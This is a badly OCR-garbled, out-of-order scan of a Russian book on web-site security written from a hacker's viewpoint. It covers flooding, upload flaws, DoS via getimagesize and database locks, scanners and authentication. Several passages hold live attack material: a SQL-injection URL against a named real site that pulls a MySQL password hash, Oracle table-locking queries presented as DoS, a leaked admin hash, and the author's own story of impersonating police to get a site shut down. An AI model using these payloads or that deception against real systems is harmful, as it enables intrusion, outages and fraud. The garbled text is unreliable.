10p CMOKET OGOHTH 32IIUTY CLICHAPUA W NONBITAETCA BLINONHHTL TALPSINCHHYIO
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3T0 OCHOBHBIE METO/{BY, KOTOPBIE TO3BOIAT BaM MOCTPOUTL IIPHEMIEMYIO 0GOPOHY
or ¢nyna. A 6ygeT au ona noctarouHol? 3aBUcHT OT TOTO, KAK BBl peanyere
nacrpoiixu. Hanpumep, ecnu cnenats Tofbko 3anpeT 1a ornpasKy 5 cooGmennil
B TeyeHue 10 cexyHa, To Xakep MOXET Hanpasnats Makcumym 30 coobumiennii
B MAHYTY. A €Ci¥ XakepoB GyAeT HECKONBKO AN O/IMH, HO OH 6YAeT OTTIPaRIATH
OZIHO 1 TO € COOGIIEHHE Yepes pasHbie AHOHHMHBIE IPOKCH-CEPBEPLI?

INMpu npuesske k IP-ampecy He 3aGbiBadTe, 4TO CYLIECTBYIOT GOMbIUME CETH,
TIoMB30BaTENH KOTOPBIX BUaHb #3 MuTepreta mox onsum [P-agpecom, xots pe-
abHO B TAKOH ceTH MOXeT GbITh THICAYA AN AAKE AECATKM THICAY KOMITLIOTEPOB.
B atom ciysae pabora nomb3oBaTenedi Takux ceTeit Ha Bawem Web-caiite Gymer
3aTpyAnena, a BOT XaKep Jierko 0GOHAET NPEnATCTBUE C MOMOIIBKY HECKONBKHX
AHOHUMHBIX TIPOKCH-CEPBEPOB.

Boamoxtbl cnenylomme neficTRBHA XaKepor: cofpaTh COTHIO YENOBEK, KayKAbIH U3
KOTOPbIX CO CBOEro KOMMNLIITEPa CO CBOHM ]P’BIIPQCOM HAYHET NOChUIATh PA3THY-
HBI¢ COOSI.HSHHSL SBLI.IHTHTBCH OT TaKOii aTaku ¢ IOMOWLIO BBTOMBTHJHPOBBHHOﬁ
CHCTEMbI O¥€HB CNOIKHO, OCOGEHHO, eCAH KKRbIA K3 YYaCTHHKOB HE 6)’)191' oT-
nipasnaThL woﬁmenm CAHLIKOM 4acTo. «

B Takux ciyyasx 0OMOraeT TOABKO NOCTOAHHEI MOHUTOPHHT. 3a cy:KGaMHU KoM-
netoTepa ¥ Web-caliTOM JO/TKEH NOCTOAHHO CHEAMThL HeSOBEK, KOTOpbid Syaer
PearupoBaTh Ha PaCNpPEACACHHBIC ATAKH WIH HECTAHAAPTHHIE IOMBITKA Hapylue-
Hug GesomacHocTy. B ciyqae ofHapykenvs aTaki HaGmoNaTe b JOMKEH moMec-
Tats [P-agpeca wau sapeructpupoBanHbie Ha Web-caiite umeHa aTakyrOuIMx
B CcreUHanbHeIA crincok, a Web-caiiT nomken urHopuposats mobbie 3anpock or
NO/IB30BATEEH H3 HTOTO COMCKA.

He 3abwisaiite, ¥t ecin BLI 3anpeTTe A0cTyn onpeaeneHHomy IP-aapecy, 1o 3a
HUM MOXXET KPbITbCA HE OAWH MOAB30BATENb, & MHOXKECTBO. MO2KHO HCMONB30BaTH
napy IP-anpec natoc Cookies, o Cookies nerko yaansiorcs, no3roMy He ABNSIOT-
C HAAEKHbIM pellileHHEM. B urore Mb1 onate MNPHUXOAHM K TOMY, YTO COOGU.ISHH’I
DOJKHBI OCTABAATHL TONBKO 3apErWCTPUPOBAHHBIE IIOSIB30BATENH, WHAYe Mbl yc-
noxHsem cefie CHUCTEMY 6esonacHocTH M YCAOKHASM KH3Hb AOGPOHOP’I)IO"IHEIM
noas3osatensm Hawero Web-caiita.

2.3. OnacHas noagnucka Ha HOBOCTH

TIpocTas MOANKCKA HA HOBOCTH TOXKE MOXET 6bITh onacHoi. Henasko mMue nonan-
€A Ha rnasa cueHapuii, KOTOPEI 103BONAET GBICTPO M MPOCTO CO3MATL MOANACKY
Ha HOBOCTH OT poccuickoro asTopa. K coxanenno, umenu asTopa 4 He Hawen,
XOTA OH B IMIICH3WOHHOM COFNIAICHHY MPOCKA He YAANATHL €70 KONMPAHT ¢ NOA-
Bana Kaxaod Web-cTpanuubl, BRAUMO 3THM KONMMpaHTOM ABAACTCA HAmnuch SR
Subscribe (puc. 2.2). Ecii BaM 3HAKOMO 3TO HA3BAHHE, ¥ Bbl TIE-TO YXKC MCTIONb-
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TakuM 06pa3oM, HaM HYXKHO NPOBEPHTL, €CNH LIMDHHA WK BLICOTA PAaBHB! HYJTIO,
TO ITO HE M30GPLKEHHE WK €r0 (HOPMAT NPOCTO HE HIBECTCH PYHKUMM getimagesize.
Mzobpaxenue ne A0MKHO UMETh LWIKPKUHY WK BBICOTY, PABHYIO HYIO, HHAYE OHO
6eccMbICAEHHO UM COASPHHT HEKOPPEKTHBIE JaHHBIE.

Jlsoitnas npoBepka Gonee HafeXHa, HO He ABAETCA DELIEHWeM BCeX mpobiieM.
Hanpumep, Henaxo Gbina Hafnesa ownbka B GyHKUMIX OmpenenesHus pamepa
usobpaxenns 8 PHP. [la, ¢pyskumit Heckonsko. Jlna kaxaoro Tuna daiina ceos
yHKupA, HO Bce OHM OOBENUHEHDI B ONIHY getimagesize. Ecau cuenapuio nepe-
natb rpapmueckunr paisn TIFF, B koTopom Gyaer ykasan pamep —8, TO cLeHapuii
nonanaer B GeckOHedHbIH UMKN W BBINOHACTCA, NOKA HE TIOTOTHT BCE PECYPCH!
cepsepa. Takum oGpasom, omuH Xakep moxer Ge3 npoGaem npoussectd DOS-
araky. Cuubka ecthb n B GyHkunn o6pabotkn JPEG-paitna.

Sl nosymaro, 4To ownbKa B GyHKUMM getimagesize — 370 NpobieMa paspador-
uukos PHP, a e naulero cueHapus, HO npolnema ecTh W 3aKpLIBATL HA Hee Iasa
HeJb3s, MOOTOMY HAIla 3aj1a4a CAEAUTH 3a GEI0NAcHOCTBI0 HE TONBKO CUEHAPHES,
HO W KCTIONB3YEMBIX NIPOTPAMM U CBOEBPEMEHHO X 0BHORAATL. Kakum Gbt HH Gbin
Ge3onacHbM cLieHapyH, NPoBIEMB! MOTYT HACTHTHYTh HAC ¢ APYTHX CTOPOH.

4.3.2. MpoBepka KOPPEKTHOCTU
TeKCTOBbIX (hbaitnos

Teneps NOroBopyM o 3arpy3ke TeKCTOBbIX hatinos. Hanpumep, Ha dopyme MoxkHO
ApeOCTaBUTL MPOFPAMMHCTAM BOIMOXKHOCTL OOMenyBaThea dainamyu ¢ npume-
pamyu koza. Ecnu xakep HMeeT BOBMOXHOCTh 3arpysuTs Qaiin Ha Web-cepsep,
# 2ToMy d)ﬂﬁl'ly YCTaHaBNHBAKOTCA 11PABa Ha BLINONHEHHE, TO NOMUMO TCKCTa Xa-
KEP MOMKET 3arpy3uTh Heoﬁxoﬂanlﬁ AN B3ioMa cueHapuﬁ, Tocne aToro ocTaer-
€5l TONLKO Y3HATD, KyAa ObiN 3arpysxes ¢afin, u BLIMONHKTL €ro.

Jaxe ecnu dailn He UMeeT Npas Ha BHIMONHEHYE, HO NOMKNIOYAETCA CUEHAPUEM
C NOMOWLIO (PYHKUMK include MIU require, TO, Kakoe Gbl 1u 6110 y daiina pac-
wupenne, PHP-kon B liem GyaeT BRINONRATECA.

JIaKe €CIH XaKep He CMOKET BLIIONHATS qaii, s Gb1 He pexoMenroBan 6sl peanu-

30BLIBATE TAKy10 BO3MOXHOCTE B CBOEM ClieHapuH. JIeno B TOM, 4TO XaKep MOXeT

MCTIONB30BATE 3aTPY3KY M NS MPECNIEAOBAKUA CERYIOUMX KOPBICTHBIX LeneH:

O wucnonssosats Bal Web-cepeep ans xpaHeHys coGCTBeHHbIX ¢aitios, nkpar-
CKHX MPOrpaMM 1 ApYrux nauukix. JJabe nabexaTs 3T0ro, MOXHO OFpaHHYUTL
3arpyxkaemblii daitn B pazmepe;

O aMCKOBOE MPOCTPAHCTBO HE GECKOMEUIO, TOITOMY XaKep MOXET 3arpyuth
1a Web-cepsep miokecTBo (aiiIoB H 4epe3 Kakoe-TO BpEMA AUCK MOXKC I ObiTh
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C nomoweo k3mupopanua Web-CTPAHHL BBt MOKETE PEIbHO MOBBICHTH CKOPOCTS
paBoThr cLeHapus, HO Bbl TEPAETE BOIMOXHOCTb CO3aTh Web-calfT, OpHEHTHPOBAH-
Hpiff Ha TONE30BATENR. B 3TOM Ciiyuac TpZHO peanv3oBath BHIGOP PaCUBETKH,
HACTPOHKK OTOGPDKEHHUR OMpEAENEHHLIX uactell Web-calita MHAUBHIYANLHO
KAWALIM M0/Ib30BATENEM (HATIPUMED, B 3ABUCHMOCTH OT APEArOYTeHUH, AaTh BO3-
MOXHOCTb BLIGHDATE HYXKHbIE KaTeropuu HOBocTed ina oToGpaxennd). Peaniso-
BaTh NOAOGHOE C MOMOWIBLIO KIIMMPOBAHHA IOCTATOMHO CNOXKHO, & €CTH M BO3-
MOXKHO, TO 3HEKT OT €ro UCIONBIOBAHHA YMEHbILIACTCA Ha CTOILKO, HTO OBYHHKA
BBIIIEAKH HE CTOMT.

8.4. BNOKMpPOBKK

Kak ewme xakep moxer npoussectd DoS-ataky? Ecnu wa Web-caifre Haligena
owmbka, nossonsomas peanusosath SQL-UHBEKUMIO, TO Xakep MoxkeT chopMH-
poeaTh cobetaennbiii SQL-3anpoc, koropklit Gyaet uarpyxath cucTeMy. ¥ Kaxk-
noii CYBJ] ecTh 3an1pochl, BLIMONHERHE KOTOPLIX TPeGYeT 3HaUUTENLHOTO TIpoLiec-
coproro spemenn. Hanpumep, ana Oracle 3o npocmoTp TeKkywuX 6nokiposok:
SELECT *
FROM v$lock, v$session
WHERE v$lock.sid = v$session.sid

and v$session. username = USER

Ecnu y Web-ceprepa ecth 3a6A0KMPOBAHHbIE PECYPCH, TO BLUIOJAHEHUE TAKOrQ
SQL-SBI’IPOCB MOXET OTHATH O4YCHb MHOTO BPCMCHH. A MOXHO CaMoOMy 3a610KK-
poBATH BCE 3aNWCH U Toraa Web-cepsep HE CMOXET NpOHIBOAMTE OGHOBIEHNME
HaHHBIX, HAMPUMED, Bee B TOH e Oracle A1 3T0r0 NOCTATOMHO BLIONHHT, SQL-
3anpoc:

SELECT *

FROM 10Ms1_TaGmaLs

FOR UPDATE

TakyiM 06paioM, YCTAaHOBMM GHOKMPOBKY Ha BCE 3amicH W3 TaGiuub, W echd
Y HPYTX nONb30OBATENEH 3aNPOCH! BEINOAHAKITCA G€3 ONLMK NO WAIT, TO OHH Gy-
YT 3aBHCATH B OKMIAHWH CHATHA GNOKMPOBKY.

Broxuposky ects i B CYBJ] MS SQL Server. Onn ecTb se2ne, rae ecTb moaaepk-
Ka TpaH3akuuif, unaue ¥ GuITh He MOXET. MOXET H €CTh Kakoi-TO BApPHAHT HIMe-
HeHus NanHbIX Ge3 GIOKMPOROK, HO A 0 HEM HE CrTbIiAN,

TyT Heo6XonMMO y4uUTLIBaTh, 4T Kaxaas CYBJ no-paznomy paboraeT ¢ Gnoku-
poBKamu. HeKOTOPI:le 3anucu GHOKprKJT A3HHLIS LeNnbIMY GAOKAMH nAH Aaoke
TaGAuLAMH. HEI‘IPHMCP, €CH H3MEHAeTCA TONBKO OAHA CTPOKA B ONPENSACH-
nol cTpanvie JaHHbIX, To GAOKUPYIOTCA Bee SamucH 3Toll cTpaHiust. Oracle, ecim
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uTO ckaHepbt 3Toi pupMul (Internet Scanner, Security Manager, System Scanner
u Database Scanner) HCTIONB3YIOT TPH METOMId CKABHPOBAKMS, O YEM MBL NOTOBO-
pum dyth noske. Corpyanuku 1SS paGoraior B TecHoM kouTakre ¢ Microsoft
H NOCTOAHHO o6HOBMMOT Gasy naHMbIX yassumocteil. Ho, HecMoTps Ha To, uTo
TIPOYKTE! 3TOM UPMBI TyullKe, A COBETYIO HCHONbL30BATh XOTA Gbl eilue OaAMH
CKaHEp APYroro NpOH3B0AMTENS,

B Sanwion [ Sufanitri -5 ptae X0 Doy Biild 1070

i oo
e plerla ko
el GNP 10,5 CCABRET AETAAA.
e iR s,

ETEAN PERREEA, Ao e RO OB
e pen oS

Puc. 1.3. ['naeHoe oxMo nporpamMme: XSpider

Komnanua ISS paspaGoTana uenbiif KOMIJIEKT YTHAMT Mox oblIMM Ha3zBaHUeM
SAFEsuite. B Hero BXoAAT He TONBKO KOMIIOHEHTE NPOBEPKH BE30MACHOCTH CHE-
TeMbl, HO H MOAYJM BBIABICHHA BTOPKCHHA H OLUCHKH KOW(HIYPailH OCHOBHBIX
cepaeprbix OC.

CxaHephl 6€30MaCHOCTH, KaK W aHTHBMPYCHI, 32IUMILAIOT XOPOWO, HO TONLKO OT
crapbix ysssuMocrteii. JlroGoi HoBblf MeTon B3noMa He Gymer obHapyskeH, noka
BBl He 0GHOBMTE nporpammy. [T0ITOMY 5 He PEKOMEHIYIO LENUKOM H TIOAHOCTEIO
nonaraTLCA Ha OTHETHl 2BTOMATH3UPOBAHHOTO CKAHHPOBAHHA, a Tocne paboTst
NPOrpaMMbl CaMOCTOATEABHO TIPOBEPHTH HANKYWE MOCACAHMX YS3BUMOCTCH, onm-
caHHeIX B kKakoM-nmn6o BugTraq.





index-180_1.png
176 Inasa 5

Jagalite npoaomkuM. MHEe HYKHO y3HATb HMeHa Hcronb3yeMbrX Tabauu. [Tonpo-
6yem Hayran, sepb Ha Web-calre ecrb percTpauMs nofb3oBaTeneii, a IHAYMT,
MOXET CyWecTeoBaTh TalnMua users. JoGasum cnesyomuii SQL-3anpoc, koto-
phif BEIGUPAET NPOCThIC YUCTOBLIE O U3 TAGAMUBI users:

UNION SELECT 1111,2222,3333,4444 FROM users

TyT MeHs xaana Heyaaa u cooGmenne o6 owubke:

Table 'news.ugers' doesn't exist

370 yixe 4TO-10. MHe ckasanM, uto TabAuUA news .users He cymectsyer. Ho a xe
3apailiiBan MPOCTO users, OTKYAA B3ANOCH news? D10 uMA Gassi AaHHBIX, C KO-
Topo#i paGoTaer Web-caiit.

Jewxemca nanviue, Camoe CHOKHOE B TOM, ¥TO BIUNOWEHA (UIbTPaUMA BRONA
KaBBIYKH, H 4 HE MOTY HCTIONb30BaTh ee B cBoux SQL-3anpocax. Hy, Huuero, kak-
HHOYAb oboinemca. TorpobyeM 0OpaTHTbCa K cUCTeMHON Gase Aanubix MySQL
u ee Tabnuue user. Camoe MHTepecHoe, HO 374 Ga3a NaHHBIX OKasanack AOCTYM-
HOH, 2 3HAYHT, MOXKHO BBIYUCIHTE Xeill napona. Mms monb3osaTens MOXHO moy=
YMTh C MOMOLBIO YHKIMK USER (}, 2 ¢ NOMOWIBIO QYHKUMH VERSION () MOXKHO
nony4urs sepcuio CYBIL

Bcee, uto MHe HyxHo, 1 obnemunnn B ogu Gomeliolt SQL-3anpoc W moay4un
chenyOIMH URL: http://www.usacycling.org/news/user/story.php?id=
99991053 % 20union % 20select % 20mysql.user.password USER()},VERSION(),
4444 %20from %20mysql.user/*.

PeayAbTaT ero BLUIONIHEHAA NpuBeaeH Ha puc. 5.7. TIpAMOYTOABHUKOM BbIAE EHBl
NOMYYSHHBIE HAaHHbIE, 8 HMEHHO:

O BBRepXY MUPHEIM IIPHGTOM BBIAENEH Xelll ITaposiA MepBoH 3amuck U3 Tabauub
47¢cb2bfb53ald10c;

O 4yTb HWKE MMa no/b3oBaTens, NOA KOTOPbIM TIPOMCXONMT TOAKNIOUCHNS
k MySQL: usacycling@pedal;

0 ewe suske HoMep sepcuk MySQL, a umenno 4.1.20.

YroBbl NONY4HTh CAEAYIOUIYIO Xelll-CYMMY, MOXHO BLINOAHMTS caeayloumi SQL-

3anpoc:

UNION

SELECT mysql.user.password, USER{}, VERSION{), 4444,

FROM mysql.user

WHERE mysql.user.password NOT IN ('47ch2bfbS3ald10c')

My MOXHO BOCFIONB3OBATLCA OrpaHH4eHHeM LIMIT:

UNION

SELECT mysql.user.password, USER(), VERSION(), 4444,
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HecmoTps Ha 70, 9TO MBI PACCMOTPENH JOCTATOUHO MHOrO PeasbHbLIX IPHMepPOB
Banoma Web-caliToB, & HAACIOCH, YTO B H¢ GyJeTe MCMONBIOBATL MOAYUEHHYIO
MHGOPMAUMIO B HE3AKOHHKBIX LEnAX, ITa KHHra Gbina Hanucana ina Toro, HToGM
BBl MOI'AI 3aIUMTHTECA OT YTPO3, NpencrarisemMbiX MuTepreTom BooGute 1 Xake-
PaMH B YaCTHOCTH.

ﬂepesccnmusm‘b XaKepoe GCCHOHSBHO, a TIOCaaWTb BCEX HEpPeasibHO. IMokaza-
TesibHbIE NPOLECCh! NPOTHB BINOMINAKOB HUNCTO XOPOLICTO HE AAKOT, NOTOMY HTO
MOJIOABIE K TAIAHT/IHBLIE perlTﬂ npo}ionmm’r MPAMEHATL CBOW 3HAHHA BO BpeA.
Camoe cTpailiHoe, 410 SONBIIKHCTEO U3 HUX NEHCTBUTENbHO TATAHTIUBE ¥ TPATAT
CBOW BO3MOXKHOCTH NOMYCTY.

BOPO‘I‘bCﬂ C XaKepaMd HYXKHO TONBKO CO3ZaHHEM KaueCTBEHHOrO NMporpaMMHOro
obecneyenns. [porpaMMHUCTE! ZOMKHDL! GoNbile BHUMANKA yAENaTh Ge30macHocTH
¥ CO34aBaThb NPOrpaMMel HE ANA TOTO, 47061 OHU NHLLE Gbt PEGOTMH, a g Toro,
yT0BbI ONY paboTanu GesynpeuHo.

B nocrenvee BpeMa Ha POrPAMMHCTOB NPOCTO OGPYIIHANCH BHICKA3LIBAHKR THIA
"ecau 651 MOCTHI CTPOMITH TIPOFPAMMKCTBI, TO 110 HUM CTPAILIHO 661510 61 XOAWTE".
A, Kak NpOrpaMMUCT TpeKpacHO 3TO nouumaro. Muorma mur paccnaGrseMc
W AefiCTBTENbHO NUIIEM Koa, Anib Gut on paGotan, Hmenno takoe oTHOILEHHS
OUeHb 4acTO CTAHOBHTCA NPHUYMHOM Beex npobnem. ECAH NpoTpaMMUCTLI M afMH.
HUCTpaTOpbl GyayT paGoTaTh KauecTBeHHEE, TO KOJMYECTBO BAIOMOB PE3KO CO-
KPATHTCA.

OueHb CNOKHO HAHTH OLWIMEKY B CLEHApUAX HAa Taknx Web-caiitax, kak Amazon,
Google 1 Ap. 3TO NOTOMY, YTO HX BAALENbUBI YAENAIOT HOCTATOYHO MHOTO BHH=
mapnus GesonacsocTy. JKanb, 4To HE BCE OTHOCATCS TaK xke K CBOel paboTe.

Tlouemy 14 3aLUMTH CBOEr0 AOMA MAY MAIIMHBI Mbl YCTAHABIUBAECM CaMBIE NyYs
HIHE 3AMKH, CHFHANM3AUMIO WAM NaXe HAaHWMAeM OxpaHy. A And 3amuthi Web-
caiiTa He MOXeM HallATh YENOBEKA, KOTOPLIH MPOBEPHUT CUCHAPKA HA COREPIKAHHE
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Kkak-To npoyuuts, C nomotsio Whois A yanan, Ha kakom Web-cepBepe HaxoguTes
Web-calit moero o6uauHKa, M HalleN afpec AMeKTPORHOR NouTsl cAy*6bl noa-
HEpXKN ero nposafiaepa. Jlanee feiCTBHA GBI NPOCTLIMK: % 3aBeN BPEMEHHbIN
NOHTOBbIN ALLMK, 4TOGH] HE BHINATH CBOEMO PeanbHOro aipeca, U NONPOCHI CBOero
Zpyra, 4TOGEI OH OTNPABHI MHCEMO NIPUMEPHO CNENYIOLIEro CONePKAHNA: "3 pas-
creyiite. Bac GecriokouT kanuTaH Manuuuid Bacunuii Tlynkua us Ynpasne-
wug K Jlennnckoro pakiona ropoaa Mockesl. Ha pamem cepaepe Haxoaurca Web-
caliT xakepoB ¢ uHbopMauued, Hapyuralomel VK P®. [pocum Bac camocTos-
TeNEHO NPHHATE MEph, 1Akl He yCNoXKHATH cuTyaudio, C ysaxkendem, Bacunnii
Tlynkun",

Bor Tak BOT CKPOMHEHBKO, HO co BxycoM. Koneuro, smecto "Bacwmuii ITynknu"
Gblto UMR Gonee noXoxee Ha peansHOe, NOITOMY AAMUHMCTDATOp MOBEPHN —
Web-cait TyT e GbUT 3aKpBIT M OCTABANC HEJOCTYNHBIM B TEUEHHE ABYX 4acoB.
Tocne ero paGota GLina BO3OGHORTEHA, @ MHE TIPHULTO NHCBMO, B KOTOPOM aaMU-
HHCTPaTOp NOWHTEPECOBaNcA, ¢ kakux 3To nop Ynpasnenne K cuant na ADSL-
xanane B Pocrose-va-Zlony? [la, HyxHO GbUlo MCOMB30BaTh MPOKCH-CEPBED,
2 iyMUle NPOCTO HaMMCaTh, YTO 3 KANHTaH UMEHHO POCTOBCKOTO OTAGNEHHS, TOT/A «
Ha onpeaeneHne obmana yuo b1 HaMHOro Gonbiite Bpemenn, a Web-cafit xakepa
OcTaBasIcs 6bl HeJOCTYNHBIM GoNlee JONIHIA CPOK.

Xakepbl noAL3YIOTCS COUMANLHON MEKEHEPHEH He3aMeTHO, HO shdekriaHo, Bbr
Aaxe He nOYyBCTBYETE NOABOXA, KOraa y BaC MNONPCCAT Napoab HAH CEKPETHYIO
KHPOPMALMIO, # NOCAYUIHO BCE OTAAANTE, YITOBLI He NONACTBCS HA KPIOUOK, BBI
NOMKHBI HMETh NPEICTABIEHHE O TOM, KaKHe METOLEl CONHATBHOH HHXEHEpHH
MOTYT HCNONB30BATHCA T4 NOCTHXEHHS HeoGXoaumoii ueiH. C OCHOBHBIMH
MeTONaMK MOXKHO NO3HRKOMHTLCA B KHHIe CaMOro 3HAMEHHTOro Xakepa — Kesu-
Ha MuThuka [1].

1.2. OcHoBbI Banoma

VHupepcanbroro cnocoGa sanoma HkrepreTa He cymtectsyer. Kaxastii pas npu-
XOAMTCA HCKaTh CBOE PENIEHHE, KOTOpOEe OTKpOET Heobxoaumyto asepk. Jla, ecth
aTakH, KOTOPBIE MOFYT YHHUTOXKTS MoGyto saummty: DDoS (Distributed Denial of
Service, pacnpesnenenHas ataka Ha 0TKas B O6CyKMBaHMM) WK noaGop naponei,
HO 3aTpaThl Ha NPOBEJEHHME 3THX aTaK MOTYT OKalaThCA CRHUUIKOM GONMBLIMMH,
XOTA OHW He TpeGyIT MHOTO yMa M [AOCTYNHBI ANA peanu3aliu¥ HAKE HOBUUKY.
3a sanoM cepBepa ¢ nomolbio nepebopa naponedi win 32 DDoS-ataky Xxakepsl
HUKOrZA He GyAyT Npu3HaHbl OBWIECTBCHHOCTBIO Kk NPO(eccHoHabl, noyTomMy
& NOAOGHLIM METOZAM NPHGEraloT TONLKO B KPaiiHAX CIy4asX W, B OCHOBHOM, Ha-
HULAIOLLKE BITOMILUKH.
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5.3. HacTpoiika 3auurbl or SQL-MHBLeKUMK

SQL-MHbeKLHA JOCTATOUHO ONACHa, HO TPH TIpaBHITLHON HacTpoiike Web-cepaepa
XaKep He CMOXeT eff NONHOUECHHO BOCNONB30oBaTCA. Hanpumep, HeaBHo A 3armis-
Hyn Ha Web-caiit www.skanditek.ru (puc. 5.8), xoropuiit comepxut ownbxy
SQL-unbexumn. B none noucka AOCTATOMHO BBECTH KakOH-HMOYAL TEKCT M yKa-
3aTh CHMBOJI ONMHAPHON KABLIMKW, M B DE3YNbTATE Mbl YBHAMM coobienue o6
owmnbke ot MySQL (prc. 5.9).

Puc. 5.8. Web-caiit www.skanditek.ru

Y meHs 3auecanuch pykH CAERaTh YTO-TO W NOKA3aTh paspaGoTumky ourmbky Ha
TIpUMepe, HO HU4ero He Bulwo. HacTpoliky XOCTHHrOBOW KOMMAaHWM M Mpasa
nocryna 8 MySQL, noa xoTopbiMu paGotan Web-caifT, He MO3BONANM BHEAPHTH
KOoA. l'Ipu NONLITKE J.lOGaBMTb KOMaHay yAaneHus Bcex 3anucei n3 Taﬁnuuu MEHA
KySbTYPHO OTNpaBNanH Ha Web-caiiT XOCTMHIOBOH KOMNAHMH, Mg Kpacosanach
naanuce "Request rejected”. TlonbiTkM BCTABHTE JlaHHbIS, YAAKTL TaGauy, of-





index-258_1.png
Asmopusayus 257

9.2. Cob6cTBEHHas cucTemMa ayTeHTUbuKaumn®

QueHb 4aCTO MCTIONL3YIOTCA COBCTBEHHBIE CHCTEMbl AyTeHTH(UKauuH. B oM
pasnene Mef PACCMOTPHM HECKOJIBKO COBETOB 110 MX peanu3aliuy.

Huxdrna HE XpaHHTE MapoNid B OTKPLITOM BHAC HU B Gaze MAHHBIX, HH HA JIOKANb-
HOM KOMMbIOTEpe 1onb3oBatend (B suge dainos Cookies). O Tom, uro XpaueHue
HBPOJ'ICFI Ha JIOKANBHOM KOMIMBIOTEPE NONbL3OBATENA HE GﬂOHECHO, AODKEH 3HATh
Kakabli, YyTb Momke Mbl PacCMOTPHM OAMH M3 DACIpOCTPaHeHHBIX cnocofon
BOPOBCTBA MOJIL3OBATENLCKHX AaHHBIX — XSS, HO He cToMT 3a0BIBATH U NpO
KN12CCHKY B BU/IE TPOSHCKHX TIPOrPaMM MK [POCTO yA3BUMOCTH B Gpaysepe none-
30BaTeNA.

Xpanenne naponeir na Web-cepsepe Taloke He GesomacHo. Ecnu Xakep waiiger
YA3BUMOCTb, TIO3BOSIOMIYIO peann3osath SQL-UHLEKIMIO, TO OH CMOXET NOMy-
YWTh W3 TaGIMLL BALI 2P0/ W HE3AMETHO TIONIB30BATECA IPABEMH AAMUHACTPATO-
pa. Ecau mapoAb XpaHuTcA B 3alMQPOBAHHOM BUAE, TO NoobpaTe €ro MOXHO
Tosbko mepebopoM. Jla, Xakep MOXKET BHECTH HOBYIO 3aNMCh B Gasy NaHHBIX
W Aath eif npaBa aAMUHUCTPaTOpa (YCTAHOBHTHL ONPENENEHHbIH NMPH3HAK), HO ITO
Gyner cauiikoM GpocaTbed B r7a3a W aAMMHMCTPATOP GBICTPO YBUIMT, YTO mpo-
W301LIeT BINOM, -

B cny4ae xpaHeHuA naponeii B 3aWNGPOBAHHOM BULE ayTEHTH(DHUKALHA NPOUCXO-
IWT NOCTATONHO NpocTo. [Tonyune HMA NOB30BATENA U TAPONL, WIH(PYEM Napoib
M CpaBHHUBAEM C yike 3andpoBAHHLIM BAPHAHTOM U3 6a3bl AaHHbIX. Ecin wudpn
COBNANAIOT, TO AYTCHTU(UKALHA NPOLITA YCASLIHO,

BsoauTh Naposb NpH KaXIOM Bxofe Ha Web-calit He oueHb ymo6Ho, mosToMy
KENATENBHO CACNATh BOIMOKHOCTb aBTOMATHYeCKOTO BXoxa. Jlia storo neobxo-
ZIMMO BCETO JIMIL COXPAHHTL UMa ¥ maposb B Cookies. IMpn sxone Ha Web-cait
9T AAHHBIE CBEPAIOTCS C COACPKUMBIM §a3bt, M €CTIH OHH KOPPEKTHS!, TO [IO/b30~
BaTeNlb CunTaeTcA aBTopusoBanHbIM. Ho daiiabi Cookies Moryr 6uTh ykpaleHsl,
FIO3TOMY TIOMMMO WMEHH W TIapoJia MOXKHO COXPAHATH ellle Cny4aiiHo creHepHpo-
BayHBIi kol GesomacHocTH. 3TOT KON NOMKEH TeHEPHPOBATLCA (C COXPAHCHHEM
8 Gase naHHBIX) M TIPOBEPATLCA NP KAXJIOM Bxonie. JOMYCTHM, YTO Xakep ykpan
aiin Cookies, Ho ecnu kon 6€30MacHOCTH yeTapen, To BXOL GyaeT HEBOMOXHEIM,

MouxHo BooGlte He coxpaHaTh uMa n mapons B Cookies. B 37om ciyuae Ana pea-
7¥3814H ABTOMATHHECKOFO BXO/1a MOXKHO ONATD e reHepHpoBaTh ko GesonacHo-
CTH ¥ COXPaHATL HA KOMMbIOTEpe NOMb30BATENs MMEHHO ero. Toraa npu Bxoge
JI0CTATOUHO MPOBEPHTH, YTO KON Ge30MacHOCTY COOTBETCTRYET COXPAaHEHHOMY
8 Gase nanubix. KOX HY)XHO reHeprpoBaTh 3aHOBO MPH KAXIOM BXOAE, Toraa, A=
ke €C/IH XaKep IEPEeXBATHT ero, TO He CMOXKET UM BOCIIONBIOBATLCA, T. K. KOA yXKe
Gynert ycTapesLunm.
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3yeTe OMMCHBACMBIN CUICHAPHIL, TO CNISAYET BLINOIHATE HeCKONbKo TpeGosanmit,
4TOBRI JIMKBHANPOBATL HECKO/IBKO ﬂpOGJleMHHX MECT.

Puc. 2.2. dopma noanuck SR Subscribe

TMepeoe, uto Gpocaercs B rnaza: CymecTBoBaHue nankk admin n Hankuue B Heit
Gonbuoro KoAMuecTBo (alinos ¢ pacuupennem .dat. Ve 1o HAIBAHKIO MOXKHO
NErKO TIOHATE, A1 HEro OHM HYKHEI!

O passwd.dat — comepxuT M AEMHHUCTPATOpa M NApoL;

O base.dat — Gaza faHHBIX C ATPECAMH JNEKTPOHHON TOUTE! NONBIOBATENEH, KO-
TOpbIE MOAMUCATHCH HA PACCHITKY HOBOCTEN;

O html.dat — comepxumoe 3Toro dafina ucnonblyerca B kauecTee wabnoua Mo
YMONYaHHIO NpH pacchiike B opmare HTML;

O txt.dat — comepxkumoe 3Toro daiina ucnonbsyerca B Kauectee maGaoHa no
YMONNaHMIO NIPH pacchike B TEKCTOBOM dopmare.

Camoe WHTepecHoe, HTO HUKAKOH 3al1UThl OT IPIMOTO IOCTYNA CO CTOPOHbI MOJTh-
qoBatend HeT. Bbl MoeTe 13 croero Gpaysepa HabpaTh COOTBETCTBYIOWIMI AapeC
v npocMotpets nofol w3 atux daiinos. Jna wadana sarmsuem Ha (adn
passwd.dat. Ero conepxumoe GyAST NIPUMEPHO CIICAYIOUIHM:

- tphp

$Password( ' flenov'] = "d8578edf8458ce06 fbcShbT6a58c5Cad"

>





index-249_1.png
DoS-amaxa na Web-caiim 247

N
ob_end_£1ush He 6yaeT BbI3BaHa, 7O naunbie GyAyT Hanpasnent Web-cepeepy ro
3ABCPIUCHUIO BEHINOMIHEHHA CLEHApUA.

Cnenytoluuii npUMep noKasbIsaeT, Kak HCroNb30BaTh ByHKLMK KIMPOBAHUA:
<?php
ob_start(}:

// BuBON RARHHX

ob_end_flush();
7>

Bo BpeMs BLITIONIHEHHS CUEHAPHS BbI MOXKETE KOHTPOMPOBATh COCTOAHME Bydepa.
Jns 3TOro MOMHO BOCHOABIOBATLCA ONHOH W3 ABYX bYHKUAI:

1 ob_get_contents — dhyHKUHA Bo3BpalLAET conepikumoe Gydepa;
